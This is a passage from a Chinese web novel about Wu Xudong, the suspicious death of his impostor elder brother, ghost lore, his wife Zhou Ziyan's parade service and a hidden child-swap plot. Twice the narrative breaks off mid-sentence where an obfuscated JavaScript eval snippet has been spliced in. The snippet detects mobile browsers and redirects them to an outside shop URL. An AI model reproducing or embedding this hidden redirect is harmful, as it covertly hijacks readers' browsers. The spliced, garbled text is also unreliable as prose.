莫名又想到了八舅给他看的那封电报存根。 难道…… 是大哥拦截了电报? 那他图什么呢? 亲兄弟,无冤无仇的,为什么要拦截这样的一封电报。 除非大哥希望他出事! 或者…… 更严重一点,大哥纵容或者参与了他的被拐! 意识到这一点的时候,吴旭东吓出了一身的冷汗。 眼神里无法控制的,染上一种前所未有的惊惧和陌生。 他甚至没有察觉到自己忽然站了起来,他屏住了呼吸,难以接受这个猜测。 甚至想自欺欺人。 不,不可能,怎么会这样? 记忆中的大哥那么温柔,还给他唱儿歌,大哥他…… 不,不不不! 现在的大哥早就不温柔了,起码对他是没有温柔可言的。 吴旭东想起重逢后的种种,苦涩蔓延。 他重新坐下,颓废地抱着自己的脑袋,十指插进他刺猬一样硬挺的头发里,一句话也说不出来。 如果真的是大哥做的,那么大哥大概率真的不是亲大哥。 而且……大概率,大哥也知道自己不是亲大哥。 既然这样,做弟弟的就算找他对质,又有什么用呢? 没凭没据的,反倒是像个小丑,还要被肮脏的真相凌迟,痛不欲生。 吴旭东被这突如其来的伤心吞没,心里再次被人撕开一道巨大的豁口,不仅漏风,还下冰雹,雨雪冰霜,轮番上阵,惨不忍睹。 这世上没有什么比亲人的背刺更让人心痛。 尤其是看到周子琰的大哥大嫂那么好,两相对比,越发觉得自己的大哥大嫂猪狗不如。 怎么会这样,到底是为了什么? 是为了四合院吗? 可是房子是死的,人才是活的,有温度的。 房子永远挣不来活人,活人却可以挣下一套又一套房子。 这么简单的道理,很难明白吗? 他不理解。 直到下飞机,他都没有再搭理吴燕西。 他走在前面,默默拿出地图,认路。 吴燕西似乎察觉到了什么,陷入了诡异的沉默。 他盯着吴旭东,眼神复杂。 大概……曾几何时,他也是真心疼爱过这个弟弟的,可惜后来…… 所以,那逐渐冰冷的眼神里,到底还是闪过一丝温情的。 只是最终定格的,依旧是冷漠,是疏远,是敌对,是憎恨。 这样的眼神让吴旭东心寒。 红灯了,吴旭东站在陌生的街头,内心前所未有的惆怅起来。 原来他不是有了周子琰就心满意足了。 原来他是个贪婪的小丑,还奢望着手足友爱,奢望着骨肉情深。 可惜,这些终究是不属于他的。 放弃吧,命里没有莫强求。 绿灯了,他快步走到对面。 吴燕西却没有动弹。 等吴旭东停下,站在对面看过来的时候,吴燕西居然笑了。 一种诡异的,无法描述的,让人心里发慌的笑。 像是死神亲吻过的鹤顶红,在他的嘴唇上绽放出最刺眼的花朵。 下一秒也许就会化作血盆大口,吞噬吴旭东的一切。 红灯又亮了,车子开始启动。 吴燕西等了几秒,等到一辆公交车开来的时候,突然迈腿走上了人行横道。 刺耳的刹车声响起,吴燕西有惊无险的,来到了吴旭东身边。 吴旭东蹙眉,果然是个神经病,想死等会死,他才懒得去为顾蔓蔓的事签字。 两人很快来到派出所。 吴燕西问了挺多问题,把他自己都问烦了。 尤其是听说顾蔓蔓被拐卖去了一个五兄弟的家庭,更是让他陷入了一种莫名的狂躁。 吴旭东看得懂,吴燕西的爱情信仰崩塌了。 他心心念念的女人,居然为了活命,不惜牺牲色相,委身苟合,挑唆五个兄弟反目。 这个女人,已经不是他一个人的了。 一盆又一盆的人血,把他的爱情童话泼得粉碎。 五个人,五条命,就算前面四个不是顾蔓蔓杀的,那最后一个呢? 她离死不远了。 也许会走在他的前面。 吴燕西痛苦地落下泪来:“同志,我可以去看看她吗。” 当然可以。 不过吴旭东没去,他在门口等着。 * 看守所里,顾蔓蔓盯着面前的男人,嘴角上扬,露出恶毒的笑。 “你都知道了?” 吴燕西不说话。 “是不是觉得我脏了,不配做你老婆了?” 吴燕西只是哭。 顾蔓蔓笑得很大声:“我宁可脏了,宁可弄死他们,我也不要像个牲口一样,被他们卖来卖去!你走吧,婚就不离了,等我死了你就可以重找了。” “我也活不长了。”吴燕西痛哭失声,“我得了脑癌,晚期。” “啊……那不是挺好的吗?一起上路,不寂寞。”顾蔓蔓咧嘴大笑。 嘴唇过分红艳,像是染了人血,叫人头皮发麻。 笑着笑着,她眼中的戾气骤然升腾出来,像是换了个人,连嗓音都变得陌生。 她忽然抓住吴燕西的手,满脸狞笑:“不,你先走,在前面等着我!等着我!” 吴燕西出来的时候,整个人都垮了。 像是被抽走了灵魂,只剩个空壳。 脊背微微弯曲,眼中无光,煮熟的鱼眼睛就是这样,木然呆笨,了无生气。 吴旭东懒得问他和顾蔓蔓说了什么,扭头往车站走去,事儿办完了,赶紧坐车去机场,他要回家陪老婆。 绿灯了,他继续往前走。 吴燕西却没有跟上来。 他等到快变绿灯时才动,两边的车子来来往往,有减速慢行的,也有赶着投胎的。 另一辆公交车来了,为了抢夺最后三秒过马路,没有减速。 吴燕西抬眸一笑,嘴角是诡异的弧度。 他忽然加速跑上人行横道。 刺耳的刹车声响起,吴燕西平静地倒在了血泊里。 这让吴旭东迈出去的动作像个笑话。 他来不及阻止,甚至来不及问个清楚。 他怔怔地保持着“人”的姿势,一条腿在马路牙子上,一条在人行横道上。 直到围观的路人推搡起来,他才恍然回过神,快步奔向濒死的男人。 心口闷闷的,好像被谁猛地一拳重击过来,嗓子里全是苦涩又腥甜的气息。 这是他不舍忘却的大哥,十七年间,无数次渴望再见一见的大哥,曾几何时,大哥笑得那样温柔,以至于他无法忘怀。 可是现在,大哥就这样无声无息的,在车水马龙的街头,跟他做了诀别。 他应该没有看错,大哥冲出去前看了他一眼,那一瞬间的柔软,应该不是假的,不是的! 他曾经拥有过真切的兄弟情深,拥有过温暖的手足情谊。 可是现在,什么都没了,没了! “大哥!”吴旭东到底不是铁疙瘩铸的,也不是石头凿的。 心痛瞬间袭来。 他是怎么去的医院,不记得了。 又是怎么看着医生盖上了白布,也不记得了。 后来,又是怎么跟着去了太平间,领走了一份死亡通知单,还是不记得。 等他回过神来的时候,脖子上的护心镜灼热得让他心惊! 包里的大哥大猛地响起,吴旭东仿佛瞬间回魂,毫不犹豫地接通,喊了声八舅。 安八荒没有废话,剪短有力的命令道:“跑!” 跑! 吴旭东赶紧离开了太平间。 紧接着下一道命令传来:“跑到人气最旺的火车站站前广场,找个人多的地方,对着太阳,看看你脖子上的护心镜。” 很快,吴旭东被碎裂的镜子吓出了一身的冷汗。 他颤抖着扣上扣子:“八舅,镜子碎了,要摘掉吗?” “不用,镜子内侧涂了胶,碎了也不会掉出来,戴着,上面的桃木雕还能起点作用。”安八荒犹豫片刻,还是提醒道,“别犯傻,快回来,他对你已经没有兄弟情分了,别让他缠上你。” 吴旭东很感动:“舅舅,谢谢你。你没有孩子,以后我给你养老。” “别别别!你行行好,离我远点儿吧。你大哥的事,我让你老丈人去跟你爸爸说,你就别管了。赶紧给我回来,一刻也别耽搁!”安八荒挂了电话。 吴旭东站在热闹的街头,忽然打了个寒战。 护心镜会碎,肯定是因为吴燕西成了横死鬼,想拉着他一起死。 幸亏有八舅早有安排,要不然…… 难怪,他婚礼的时候八舅不回来,现在却回来了,这是为了救他小命。 护心镜已经碎了,再不走就危险了。 吴旭东赶紧打了当天的机票。 没想到安八荒亲自来机场接他。 一见面就埋怨道:“这才几天就给我弄碎了!我做个护心镜容易吗?你还笑!” “……”吴旭东笑着勾住他的肩膀,“八舅,要不你以后跟我一起做生意吧?我人脉还行的,你需要打抱不平的冤屈案件,我帮你打听。你平时帮我给店铺把把关,看看风水。赚了钱我孝敬你,怎么样?” “我几条命够你折腾的啊!不干!”安八荒嫌弃。 吴旭东直接激他:“行,你不干,那你以后别管我了,不就是护心镜碎了嘛,有什么大不了的,说不定我命硬。” “你硬个粑粑!别废话了,让我看看顾蔓蔓招惹的厉鬼有没有把你怎么样?嗯,还好,是个懂事的厉鬼,冤有头债有主,没有牵连无辜。好了,把新的戴上!”安八荒又递了一个护心镜过来,凶神恶煞,“笑什么笑!你别得意,我才不会管你呢!” “是是是,八舅日理万机,怎么会管我这种小人物,是我高攀啦!”吴旭东皮一皮,心情好多了。 安八荒一巴掌拍他肩上,嫌疑地皱眉:“你小子到底有多高?” “一米九多点儿。”吴旭东乐了,原来八荒舅舅也嫌弃自己矮啊。 其实还行的,一米八是有的。 安八荒叹了口气,真是服了,他的六姐夫也是一米九几,子琛也是一米九往上的。 现在这个外甥女婿,也跟个门神一样挡光。 还真是,不是一家人,不进一家门。 总之,活着回来就好。 回去的路上,吴旭东有点好奇:“八舅是不是早就知道我大哥会死?” “……别问,我什么也不知道。”安八荒比了个拉拉链的姿势,惜字如金。 吴旭东笑了:“你不说话就行,我看你的反应能猜到答案。” “……”行,你聪明,你骄傲,你了不起。 吴旭东厚着脸皮套话:“八舅,我大哥性格太怪了,飞机上遇到乱流,他居然开玩笑,希望我爸一起死。你说这世上怎么会有这么无情的儿子,该不会……他不是我爸妈的亲骨肉吧?” “什么?谁告——”话到一半,安八荒赶紧捂住嘴巴,再不捂嘴怕是要说漏了。 赶紧惜字如金。 得,吴旭东不问了。 他不是没有良心的人,他不想坑八舅。 只是他必须弄清楚这个问题。 看八舅的反应,他猜对了。 他沉默了很久,道:“我会想办法留心一下吴家的其他亲戚。如果后面的事是我自己查出来的就跟你没关系了。八舅,别怕,你外甥女婿不是傻子。” 安八荒不否认,打了个哈欠,道:“送我到你老丈人家就行了,你回岛上去,那里阳气足,多泡泡对你有好处。” “我爸那里——” “要我说几遍?没你的事!回去后千万别提护心镜碎了的事情,别让我家子琰担心,听见没有?至于你大哥怎么死的,你就说他着急见你嫂子,过马路闯红灯了。”安八荒开始碎碎念,像个不厌其烦的老妈子。 吴旭东认真点头,心里被吴燕西撕开的豁口,不知不觉又被八荒舅舅缝上了。 不过伤口愈合需要时间,等它长出新的血肉,还会发痒,会脱落伤疤,会留下瘢痕。 永远不会恢复如初。 可是人生啊,不就是这样,磕磕绊绊向前的吗? 看开点,延年益寿。 他把车停下,亲自把安八荒送到了老丈人跟前,这才回岛上去了。 周子琰果然机警,睡觉前特地检查了他的护心镜,确认没有碎裂,这才熄了灯。 两人腻歪了半天,吴旭东沉沉睡去。 周子琰却困意全无。 她总记得上次见的护心镜,背后的桃木雕符文纹路更细腻一些。 今天这个明显是赶出来的,有些粗糙。 第二天中午便给八荒舅舅打了个电话。 怕舅舅瞒着她,只好诈一诈舅舅。 她捏着嗓子假装哭道:“八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736950|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅,小东撞鬼了,夜里一直梦魇一直抽搐,好吓人啊。” “不可能啊!护心镜替他挡掉吴燕西的厉鬼攻击了呀!他是不是在小山沟里长大营养跟不上,缺钙啊?”安八荒一着急,嘴巴就漏了。 周子琰成功诈出关键信息,冷哼一声,换回天然的声线:“好哇八舅,果然是你让他骗我的,说什么护心镜一点事也没有。我信你个鬼!” “……” “八舅,这世上就没有我看不出来的谎言。” “好好好,不愧是周指导!厉害得很。不过子琰啊,这事就别跟你吴伯伯说了,他年纪大了,受不了的!”安八荒倒是好意。 吴国正已经饱受打击了,要是让他知道吴燕西成了厉鬼想害吴旭东,多半会崩溃的。 周子琰恨得牙痒痒,却只能暂时隐忍:“我明白,放心吧八舅,不该说的我不说。我就是气不过,吴燕西那个畜牲!这天底下就没有他这样做哥哥的!根本不像是亲生的!” 安八荒一听急了:“哎呀,这个小东,他答应我不跟你说的呢,怎么这么不听话呀。” “八舅,什么不能跟我说?” “啊……你刚不是说……”完了,自己听岔劈了,又秃噜嘴了! 安八荒急得自己掌嘴。 完了,完了完了完了! 这个烂嘴! 安八荒不想再吃嘴巴的亏了,直接挂了电话。 周子琰陷入了沉默。 她刚说什么了? 根本不像是亲生的。 然后八舅就急了。 难道……吴燕西不是亲生的? 这不对啊,他跟小东长得挺像的啊。 再说了,如果不是亲生的,那为什么不能说呢? 亲生的在哪里?找回来啊。 还有,为什么两个孩子身份会错位? 是故意的还是不小心? 是意外还是阴谋? 谜题太多,周子琰想问个清楚,可是八荒舅舅说什么也不肯再接电话了,只好作罢。 不过,会算命的又不是只有八荒舅舅。 周子琰给她弟弟打了个电话:“你们文学院不是有个老教授神叨叨的吗?找他帮我算算吴燕西的八字。” 两天后,周子琛回了电话:“姐,教授写了十七个字——背祖离乡,命途多舛,残喘十六载,死于非命。” 十六载!十六岁! 小东被拐的时候,吴燕西也是十六岁! 而这个吴燕西是假大哥,生日却是真大哥的。 也就是说,真大哥也已经死了? 难怪八荒舅舅不肯说。 说了也是徒留伤感,何必呢。 可是,万一是这个教授算错了呢? 总归还是有别的可能的吧? 周子琰又去托战友帮忙,托老同学帮忙。 算出来的结果,竟然可以归类为两个截然不同的版本。 有七个人的结果跟老教授一致。 还有九个人的结果却有一线生机——混沌难开,福祸相依,乐极生悲。如有奇缘,可逢凶化吉,遇难呈祥。 周子琰看不懂,也不敢告诉吴旭东,怕他着急上火。 只能自己慢慢琢磨。 半个月后,公交公司走完理赔流程,安八荒陪吴国正去云南接吴燕西的骨灰回来,顺便领取赔偿金。 吴旭东留在家里照顾老母亲,好在有护工,有些不方便的事情不需要他做。 回来的时候,吴国正哭得几次晕厥。 吴旭东不忍心,只能跟周子琰说一声,这两天不去陪她了。 他也考虑过问问他爸,真假大哥有没有什么蛛丝马迹。 可惜他爸这个样子…… 算了。 万一找不到线索,只能干着急。 不如他自己慢慢调查。 几天后,吴国正振作起来,他整理完所有的单据,跟吴旭东商量:“公交公司赔了五万,保险公司赔了十万。丧葬费花得不多,还剩十四万九千多,我准备存起来,给超男和亚男念书用,你没有意见吧?” “没有。”吴旭东再也不想提吴燕西这个人,也不想看到他的孩子。 好在谈九妹今天也在,便帮着出了个主意:“姐夫,你送两个孩子上寄宿学校吧,这样你能省点心。” “能行吗?”吴国正不太放心。 谈九妹打听过了,宽慰道:“能行,那种寄宿学校挺不错的,有专门的生活老师,衣服都是他们收走了用洗衣机洗,吃饭在食堂,全包。” 吴国正同意了,不然真忙不过来,总不见得让东东带孩子吧? 他没有这个义务。 谈九妹松了口气,赶紧去联系学校。 夜里她问安小蓓:“小蓓,你会不会觉得妈妈太自私了?我不喜欢你燕西哥和他的孩子。” “不会,妈你这样做挺好的,要不然我三姨夫照顾不过来,又得麻烦你。换了是我,我也没这么多耐心。”安小蓓总是向着妈妈的。 谈九妹松了口气。 那就好。 * 很快,服装厂的第一批自主设计生产的时装可以上架出售了。 吴旭东回到大院,找周子琰:“帮我想个品牌名吧。” “女装还是男装?”周子琰又准备下水了,临走时还在琢磨那些江湖术士的判词。 吴旭东拿出几张照片,给她看看厂里的样衣。 “主打女装,男装没什么花样,就是休闲,运动和正装三类,女装的品类比较繁多,而且——”吴旭东打开一个手提包,拿出几条样裙,笑道,“而且我想让我老婆有漂亮衣服穿。” 周子琰太开心了,抱着漂亮裙子赶紧试了试。 真不错,忍不住亲了他一口。 这一亲,就试不了衣服了。 好一通大汗淋漓。 事后,她试探了一下吴旭东的态度:“小东,你大哥——” “我没有大哥。”吴旭东难得这样生硬地打断她的话茬。 周子琰沉默了,算了,暂时不提了吧。 等小东平复一阵子心情,过了这个坎儿再说。 她琢磨了一个晚上,第二天写了几个品牌名字给吴旭东备选。 最终吴旭东选择了“弄潮儿”,注册为品牌名称。 新款时装一上市便抢购一空,订单雪花一样飞进来,吴旭东赶紧多招点人,扩大生产。 很快到了年底。 私自霸占转卖四合院的案子判了,房子归吴旭东,吴家栋等人赔偿楚劲雄三万块。 这三万其实也是吴旭东的钱。 只损失一点律师费罢了。 另外,吴家栋等人私闯民宅,打架斗殴的案子也判了,吴家栋有期徒刑三年,他的三个姐夫分别判处两年,一年零十个月,一年半。 其他人因为问题较轻,拘留了一段时间就出去了,同时,让他们赔偿了那些叔叔阿姨的医药费精神损失费共计两万元。 一同传来的还有顾蔓蔓两个案子的结果。 对吴燕西故意伤害一案判处有期徒刑两年。 对覃家五兄弟故意伤害一案,考虑到她是被拐后反抗和自救,原本是可以从轻发落的,可惜她挑唆人家五个兄弟反目自相残杀,又亲自杀害了覃五元,遂判处死刑。 两案合并执行死刑。 不过拐卖顾蔓蔓的人贩子暂时没有线索,警察走访了火车站附近的大量群众,都说没看见。 只能搁置,等有线索了再跟进。 周子琰放下报纸,认真地看向吴旭东:“明年过年的时候,世界上就没有顾蔓蔓这个人了。” 吴旭东猜到了。 他把围裙解下,洗了把手,坐在她身后圈住她的腰:“不说他们。阅兵的事怎么样了?你选上了?” “嗯,女兵方队。过完年,三月份就要去国庆村了。”周子琰有点舍不得。 趁着现在还能腻歪,多腻歪腻歪。 过完小年,楚劲雄打来电话:“东姐夫!好消息!高速线路正式确定下来了,从东城走!麻将馆那里被规划到汽运站了,过完年就拆迁!!” 47. 阅兵(二更) 吴旭东挺高兴,买了大包小包的礼物去了老丈人家。 多亏八舅给他把麻将馆的隐患解决了。 现在麻将馆要拆迁了,他得好好表示表示。 到那才知道八舅走了。 他不理解:“妈,怎么没有留舅舅在这里过年?” “他呀,管不住自己的嘴,关心则乱。”老安也是没办法,八荒这个家伙,嘴巴漏风。 这几个月在这里,不是泄露了这个侄子什么时候会下岗,就是泄露了那个外甥的单位什么时候改制。 再不走啊,阳寿就要被他自己叭叭没了。 赶紧回香港去,那里没什么亲人,嘴巴一闭,谁也不爱,就不会漏风了。 吴旭东有些遗憾:“八舅真是太热心了,谁的麻烦他都想帮忙。” “可不是,当年他跟你爸妈不熟,所以没太在意你家的事情,后来你家搬走了,子琰隔三差五的问,他这才多事给你算了一卦。”老安叹气,“谁能想到呢,你爸居然没有收到电报。” “过去的事不提了,妈,马上除夕了,要我帮忙做什么?”吴旭东卷起袖子,准备去厨房尽尽心意。 老安笑笑:“等等吧,你爸吃不惯现在的豆腐,找人做手工老豆腐去了,等他回来,你提一桶带岛上去,子琰也爱吃。” “妈,忘了跟你说了,子琰选上了,明年三月就去北京了。”吴旭东还没有学会文思豆腐的做法,这个太考验刀工了,一时半会没空细学。 今天正好取取经。 老安挺高兴的,先让他帮忙和面,准备做点包子:“她能选上当然好了,就是不知道除夕能不能回来吃饭。” “回不了,部队有安排。没事妈,回头我去给她送年夜饭,反正家里的餐盒挺多的。”吴旭东不怕麻烦,来来回回的习惯了。 老安见他这么体贴女儿的工作,心中很是欣慰。 等老周提着豆腐回来,便教起了女婿怎么做文思豆腐:“刚开始切不了这么细没关系,慢慢来。如果实在是切得太粗太厚了,那就直接做成麻婆豆腐,反倒是比普通的大块切法入味。” 吴旭东认真学习。 到了除夕这天,已经做得有点意思了。 他提上满满当当的饭菜,去岛上陪周子琰过年。 至于他爸妈那里…… 算了,去看看吧。 推开家门,屋子里静悄悄的。 吴旭东喊了一声,没人。 转了一圈,发现茶几上留了张便条,原来是大姑约到了年后的专家号,让他爸带着他妈去北京过年了。 不禁松了口气。 至于超男和亚男在哪里,他爸会安排的,不用他操心。 赶紧锁了门,回岛上去。 这是吴旭东过的第一个有家人陪伴的除夕。 真正的家人。 真正的除夕。 吃完饭,腻歪了一番,他静静地搂着周子琰守岁。 两人闲聊。 “琰琰。” “嗯?” “八舅回香港了。” “猜到了,他见到家里人就忍不住大嘴巴。” “我还是不太理解,为什么给我爸发电报提醒我的事会折寿三年。” “说明牵扯的人太多了。” “还有这种说法?” “嗯,他修的这一门,主张积德行善,但是不能窥探天机,干预别人的人生。如果只是干预了一件小事,顶多是他自己买股票亏点钱,或者走路摔一跤,吃饭蹦了牙。如果牵扯的人太多,那就会折损阳寿。” “看来我被拐卖是个阴谋。” “没错,只有这样,才会牵扯很多的人。” “琰琰,八舅不是姥姥姥爷亲生的吧?” “嗯,只有大舅、我妈、七姨,还有小舅,这四个是姥姥姥爷亲生的。其他五个舅舅姨妈,都是我妈叔叔家和姨妈家的。” 所以八舅才会这么关心别的兄弟姐妹家的事情吧? 毕竟他自己就是因为老一辈的善意才能活下来的。 当然明白亲人之间守望相助的重要性。 吴旭东挺感慨的:“姥姥姥爷真厉害,养活九个孩子,还把每一个都教育得很好。” “嗯,明天记得去看看他们,我去不了,只能辛苦我家小东了。”周子琰亲了亲他的额头。 做她的配偶太辛苦了,所以一有空就要多陪陪他。 吴旭东不觉得辛苦,尤其是夫妻之间的事情,他总是出力少,享受多。 不禁臭不要脸起来。 夜色沉沉,海岛的夜晚,在汗水中静谧。 远处的城市里,烟火绚烂,夜空如画,新的一年来了。 * 这是座南北分界线以南的城市,冬天最低气温也有十几度。 一冬天过去,吴旭东的风湿居然没有怎么发作,真是稀奇。 过完年就去找那老中医看了看。 老何笑了笑:“是有些好转了,膏药继续贴,尽量别在秋冬季节往北边跑,多养几年可以去根。” 那可太好了,以后他也能出一出力,取悦一下自己老婆。 很快,麻将馆拆了。 补偿有两种方式——纯拿钱,或者补偿别的位置的铺面,差价折现。 吴旭东去实地看了看。 觉得第二种方式最好。 正好他要开分店了。 省得以后涨价了再买,亏得慌。 一个月后新铺面和差价全部补偿到位——汽运站旁边的老铺子一间,三间门头,不大不小。 差价补贴了二十七万。 吴旭东拿着这笔钱,直接存进了自己老婆的账户里。 周子琰整理行李准备出发的时候,才发现存折上多了好几位数的存款。 她还记得上次吴旭东是因为什么生气的,这次就不跟他客套了,抱着他很是赞美了一番。 吴旭东被她的迷魂汤灌得晕晕乎乎的,出发前的最后一晚,想要努力表现一番。 “我的腿好点了,今天换个姿势。” 周子琰没有意见,不过事儿进行到一半,他果然还是不行。 只能继续辛苦辛苦她了。 事后,吴旭东羞愧得很,埋在她颈边不说话。 周子琰笑得不行:“你是腿不行,又不是别的不行,有什么不好意思的?” “总感觉对不起你。” “没有啊,我很享受。” “真的?” “拜托,你去问问医生,有几个男人能有四十几分钟的?” “这种事谁好意思问。” “不信?我跟你说,三分钟的都算正常的。” “……你上哪儿知道的这些?” “女人之间也八卦的呀!我有个小姐妹,她老公两分钟就不行了,已经在吃药了。” “……不难为情吗?” “这有什么难为情的,再说了,又不是我男人两分钟。她们要是知道我这么幸福,不得羡慕死了。” “……”吴旭东受不了了,“我还想要。” “来啊!”反正她还没累呢。 一夜荒唐。 第二天周子琰精神抖擞,准备出发。 怕他半年的时间太难熬,思来想去,临走时送了个东西给他。 是一把钥匙。 她叮嘱道:“公寓抽屉的钥匙,你想看什么都行。” “包括你的日记本?”吴旭东震惊不已。 周子琰凑过来,抱着他狠狠亲了一口:“全部。” 旭日东升,年轻的女兵们整装待发。 吴旭东等到岛上彻底安静下来,这才回了趟小公寓。 家里少了周子琰,总是让他觉得寂寞难耐。 不过…… 他锁上门,静静地走到卧室里,打开了书桌抽屉。 天哪! 周子琰她居然…… 她居然还会画画! 偶尔写了日记,时间充裕的话,会配上一幅肖像画。 那是她想象中的小东,在那个年纪该有的样子。 吴旭东的心里,下起了蜜糖雨。 尤其是日记里的文字,至情至性,感人肺腑。 很快,他把日记本合上了。 太甜了,齁甜! 不舍得一口气看完。 可是又心痒难耐,忍不住再次打开。 往后翻,到她生日的时候,她会把自己的肖像画也加进去,跟他的画在一起,还会假装跟他比比谁长得高。 就好像他一直都在她身边,跟她一起长大,一起摘花,一起除草,一起上学,一起欢笑。 日记里仿佛有着另外一个世界。 他没有被拐卖,他有着幸福的金色童年。 那些足以折磨他一辈子的童年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737216|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤痕,没想到被她几本日记本就治好了。 简直不可思议。 晚上他就把日记本摆在枕头旁边,睡得异常香甜。 这半年一点也不痛苦,反倒是每天充满了喜悦和期待。 他也学会了写日记。 也把自己想象的训练中的周子琰画下来。 等到正式阅兵的那一天,他叫上四个臭皮匠,去了老丈人家里,一起坐在电视机前,静静地等待女兵方队的出现。 威武的坦克,雄赳赳的大炮,气势凛然的导弹…… 男兵们坚毅的面庞,整齐划一的步伐,伴随着有力的踏步声,让人经久难忘。 终于,女兵方队到了。 “快看!大姐头是排头兵!”楚劲雄率先嚷嚷起来。 柯有钱只会大白话夸人:“好帅啊!我的妈呀!严重怀疑我打不过她,东哥也是手下败将。” 谢昌隆没有说话,只会点头应和。 陈兴邦则目瞪口呆,他跟吴旭东混了一年了,到现在才知道他老婆是个女兵啊。 简直佩服。 不禁问道:“听说他们训练了半年多的时间,中途不能回家的,老板你真受得了啊。” “当然。”他有她无限的爱,守多少年都行。 赶紧拿起相机,拍下老婆英姿飒爽的镜头,留着日后给孩子看。 看看妈妈多威风! 周子琰回来的那天,吴旭东特地吃了止疼片,不想让他的腿扫兴。 说什么也要取悦一下自己的老婆,由他出力。 事后周子琰一看表:“可以啊小东,一个多小时了,你腿好了?” 吴旭东没有回答,只问她:“喜欢吗?” “喜欢。”周子琰累了,很快睡着了。 吴旭东却困意全无,原来取悦老婆是这么有成就感的事情。 他得赶紧让他的腿彻底治愈。 于是刚入秋,他就主动穿上了秋裤。 养身,他是专业的。 周子琰这次可以多休息几天,早上他出去谈生意,她便在家里睡懒觉。 起床后有现成的美味佳肴,热一热就好。 吃完饭收拾房间,她发现了桌子上的日记本。 翻来一看,不禁笑得肚子疼。 小东这个家伙,把她画得也太丑了吧! 五岁小孩画的都比他好看! 不过等他中午回来,她还是不忍心打击他,很是努力的赞美了一番。 吴旭东不高兴了:“你骗我。” “……好吧,你画的太丑了。”周子琰笑了,“大嫂有个朋友,开画室的,你有空去找他学学。不过你不要有压力,我又不是老师,要考你的功课。” “我抽空学学。对了——”吴旭东担心她封闭训练半年耽误病情,问道,“你要去复查吗?” “嗯,下午去看看。”周子琰也想早点好起来,生个孩子,小东就不寂寞了。 做完检查,医生告诉她:“目前来看,卵巢功能正常,可以试试备孕了。” 那可太好了。 周子琰回到岛上就打了申请。 接下来的工作安排做了调整。 * 北京,宣武门外某监狱。 探监时间到了。 一个白发苍苍的老妇坐在了吴家栋面前:“你找我?” “我也是刚收到消息。”吴家栋难得露出哀伤的表情。 老妇一头雾水:“什么事啊?这么多年不联系了,你忽然找我,我男人疑神疑鬼的,回去指定有我好果子吃。” 吴家栋叹气:“咱儿子死了。” “……”老妇愣了一下,随即苦涩的笑笑,“我早就当他死了。” 是啊,死不死的,又有什么区别呢? 既没有养过,也不能认。 吴家栋过了很久才开口:“他也死了吧?” “死了吧。”老妇说到这事,没什么情绪波动,死的又不是自己孩子。 吴家栋不明白:“当年他是怎么发现真相的?” “他岁数不是报大了两岁吗?体检当兵,血型跟我们两口子的对不上。”老妇无奈,十七年前的事了,她早不想提了。 吴家栋还是有点担心:“他太聪明了,死了才好。你没有骗我吧?” “肯定死了,我亲眼看着你小舅子把他打晕扔下了悬崖,肯定活不了。” 48. 怀孕 吴旭东已经戒烟了,不过他还是不太放心,抽空去生殖门诊看了看。 非得确认没有问题了,才敢让周子琰怀孕。 楚劲雄陪他过来做检查,有点好奇:“你不是戒烟半年了吗?这还不放心?” “前几天看到一个兔唇的报道,小心一点的好。”吴旭东最近借了不少书,了解了一下相关知识。 原来一个生命的诞生,是一个极其精细复杂的过程,一旦某个环节出错,他倒是没事,伤害的只会是周子琰的身体。 他可舍不得。 这点楚劲雄不否认,他只是觉得,吴旭东跟周子琰这么恩爱,老天肯定不会为难他们的。 便宽慰了几句。 所幸,报告出来,一切正常。 吴旭东可算是松了口气,离开前顺便问了问结扎手术的事情。 楚劲雄不理解:“结扎?你疯了吧,男人一旦结扎就痿了。” “你是大学生,有点科学素养。”吴旭东翻了个白眼,真是蠢猪发言。 楚劲雄大多数时候都挺有科学素养的,可是结扎这种事…… 他怕吴旭东不信,小声道:“我哥有个同学就是结扎完不行了,现在天天吃伟哥。” “你真信?结扎不是阉割,想什么呢?”吴旭东才不信。 那些嚷嚷着结扎就不行的男人,说不定是本来就不行,找个借口挽回尊严罢了。 还有的是大男子主义,不想让自己挨刀,逼着女人结扎上环。 他都了解过了,男人结扎是体外手术,当时就能下地出院。 可女人结扎是体内手术,要把肚子划开的,想想就遭罪。 至于上环,更不用提了,据说有人的节育环都长到肉里了,不取出来天天腰疼肚子疼,取出来吧,又不能避孕。 真是作孽。 他才舍不得周子琰受这样的罪,等孩子出生就结扎。 楚劲雄无奈,还想说点什么,吴旭东已经一脚油门,把他送厂里干活去了。 好在吴旭东连孩子还没有呢,还有机会劝他改变主意。 * 备孕过程顺利。 两个月后,周子琰有了动静。 在医院做检查的时候,遇上了脸色苍白的余美妮。 捂着肚子,扶着墙壁,从人流手术室出来。 身边连个人都没有。 周子琰本来不想多事,刚走两步,身后传来女人倒地的声音。 只得回头,三两步抢上前去,一把抱起地上的女人,找医护人员去了。 余美妮醒来的时候,耳边传来女人训话的声音。 她艰难地坐起来看了眼,原来是周子琰在骂人,诸葛光低着头站在旁边,紧握双拳,没有反驳。 骂完,周子琰伸手问诸葛光要钱:“垫付的医药费,还我。” 诸葛光掏了张一百的,周子琰转身交给了吴旭东:“小东,找零。” 流产手术不贵,余美妮自己交过钱了,不过余美妮低血糖,输液加开药,一共三十九块八。 